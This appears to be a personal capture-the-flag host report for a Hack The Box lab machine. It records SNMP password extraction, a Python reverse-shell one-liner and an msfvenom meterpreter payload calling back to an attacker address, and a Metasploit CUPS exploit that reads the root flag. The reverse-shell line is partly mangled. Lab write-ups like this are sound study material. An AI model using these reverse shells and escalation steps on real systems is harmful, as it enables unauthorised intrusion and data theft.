Host Report

10.10.11.107 - Linux 4.15 - 5.6

Linux - Shelled - Owned

Host Notes:

User Flag = 29bbeb55d905481dc1617a287731f39d
Root Flag = eff64790a658bc0678d3c7eed1e9faab

Ports:

Port	Proto	Service	Version
23	tcp	telnet	

Port Notes:
Password Acquired from SNMP = P@ssw0rd@123!!123

Used exec python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1 pty;pty.spawn("/bin/bash")'

To acquire reverse shell. MSFVenom to build the payload
cat user.txt = 29bbeb55d905481dc1617a287731f39d

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.16.2 LPORT=1337 --platform linux -a x64 -f elf -o shell

msfconsole :
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.2
set LPORT 1337
run

bg

search cups
use 0
set SESSION 1
set FILE /root/root.txt
run

msf6 post(multi/escalate/cups_root_file_read) > run

[!] SESSION may not be compatible with this module:
[!] * incompatible session type: meterpreter
[!] * missing Meterpreter features: stdapi_railgun_api
[+] User in lpadmin group, continuing...
[+] cupsctl binary found in $PATH
[+] nc binary found in $PATH
[*] Found CUPS 1.6.1
[+] File /root/root.txt (32 bytes) saved to /home/kali/.msf4/loot/20220115134852_default_10.10.11.107_cups_file_read_277587.txt
[*] Cleaning up...
[*] Post module execution completed

┌──(kali㉿kali)-[~/Desktop/HTB/Antique]
└─$ cat /home/kali/.msf4/loot/20220115134852_default_10.10.11.107_cups_file_read_277587.txt
eff64790a658bc0678d3c7eed1e9faab

53	udp	domain	

Port	Proto	Service	Version
67	udp	dhcps	
68	udp	dhcpc	
69	udp	tftp	
123	udp	ntp	
135	udp	msrpc	
137	udp	netbios-ns	
138	udp	netbios-dgm	
139	udp	netbios-ssn	
161	udp	snmp	SNMPv1 server (public)

Port Notes:
snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0

python3

import binascii s='50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 6
91 94 95 98 103 106 111 114 115 11 9 122 123 126 130 131 134 135' binascii.unhexlify(s.replace(' ',''))

b'P@ssw0rd@123!!123\x13\x91q\x81\x92"2Rbs\x03\x133CSs\x83\x94$4\x95\x05\x15Eu\x86\x16WGW\x98(8i\t\x19IY\x81\x03\x10a\x11\x11A\x15\x11
\x91"\x121&\x13\x011\x13A5'

162	udp	snmptrap	
445	udp	microsoft-ds	
500	udp	isakmp	
514	udp	syslog	
520	udp	route	
631	udp	ipp	
1434	udp	ms-sql-m	
1679	tcp	darcorp-lm	
1900	udp	upnp	
3119	tcp	d2000kernel	
4500	udp	nat-t-ike	
11654	tcp		
12565	tcp		
20269	tcp		
47579	tcp		
49152	udp	unknown	
55200	tcp		
64695	tcp		